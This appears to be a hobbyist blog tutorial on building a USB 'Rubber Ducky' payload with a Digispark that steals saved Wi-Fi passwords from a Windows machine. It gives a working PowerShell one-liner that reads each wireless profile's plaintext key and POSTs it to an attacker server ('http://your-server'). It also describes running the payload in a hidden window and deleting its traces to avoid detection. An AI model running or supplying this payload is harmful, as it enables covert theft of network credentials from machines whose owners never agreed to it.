Rubber Ducky: Wifi Password Exfil via POST

I finally got around to playing with some Digisparks I bought a few months ago and one of the popular uses is to grab wifi passwords from a Windows machine and exfil the data. There are various approaches to this and different methods of exfil that I came across. The most common exfil methods seemed to be email or ftp/sftp. While these can be easy, they may not be best if you are trying to remain undetected. Both require authentication (e.g. your login/pass in plaintext in the script) and are sometimes blocked by firewalls. So I thought to myself, let's see if I can exfil via HTTP POST requests - no authentication needed and only the strictest of places will block HTTP.

TL;DR: Grab the script here. Beginner friendly breakdown below:

I started off by looking at a webserver to handle POST requests. Apache doesn't show POST data by default - you need to install modules which I couldn't bother with. I'm a big fan of Python's SimpleHTTPServer as it's quick and easy. Unfortunately it doesn't support POST requests the way most people run it: 'python -m SimpleHTTPServer <port>'. A bit of googling around led me to this script which does the trick quite nicely.

It was pretty easy to POST the contents of the .xml files but there was a lot of unnecessary data and I didn't like how it was formatted so I decided to clean things up a bit. Let's start by taking a look at the xml for a Cactus WHID device's default Wifi profile:

The important bits are of course the SSID name and the password. I thought the authentication and encryption types could be handy also just in case you had to manually add a network or if it was hidden.

Initially I thought I'd parse the xml in a Kali box but failed miserably. Luckily Powershell made it pretty easy. The first step is to set a variable ($xmlDoc) as a xml file type and point it to the contents of the xml file:

Let's start with the SSID name first. Looking at the hierarchy in the xml file, we see it's under WLANProfile/SSIDConfig/SSID/name. Powershell makes it very easy to get this value:

Now for the password:

Using the same pattern, we can use the Invoke-Webrequest cmdlet to send the SSID name, password, authentication and encryption with some labels and formatting as the body of a POST request:

Now if we look at the Kali machine with the python HTTP server running:

The resulting line is easily grep-able should you decide to output the HTTP server's logs to a file.

All that remains now is to create a for loop so you get POST requests for all wifi networks.

Get-ChildItem -name -Include *.xml > list.txt; Get-Content list.txt | ForEach-Object { [xml]$xmlDoc = Get-Content $_; Invoke-WebRequest http://your-server -method post -body SSID:,$xmlDoc.WLANProfile.SSIDConfig.SSID.Name,Password:,$xmlDoc.WLANProfile.MSM.security.sharedkey.keyMaterial,Authentication:,$xmlDoc.WLANProfile.MSM.security.authencryption.authentication,Encryption:,$xmlDoc.WLANProfile.MSM.security.authencryption.encryption };remove-variable xmlDoc

Get-ChildItem -name -Include *.xml > list.txt : This lists the xml files in the directory and writes them to list.txt.

Get-Content list.txt | ForEach-Object { [xml]$xmlDoc = Get-Content $_ : Next, the contents of list.txt are sent to a for loop which runs through this list and for each object in the list, sets the $xmlDoc variable to "$_" (the current value in the pipe line = whatever object is being processed by the for loop).

The rest of the command uses the Invoke-WebRequest cmdlet to send a POST request to your server with the wifi network data as body data as we saw above.

remove-variable xmlDoc : This cleans up by removing the xmlDoc variable (it's the polite thing to do and helps avoid detection).

Using this script as a base, putting everything together results in the final payload which creates c:\l, dumps all wifi network info as xml files there, executes the above command in a new, hidden powershell window and deletes c:\l.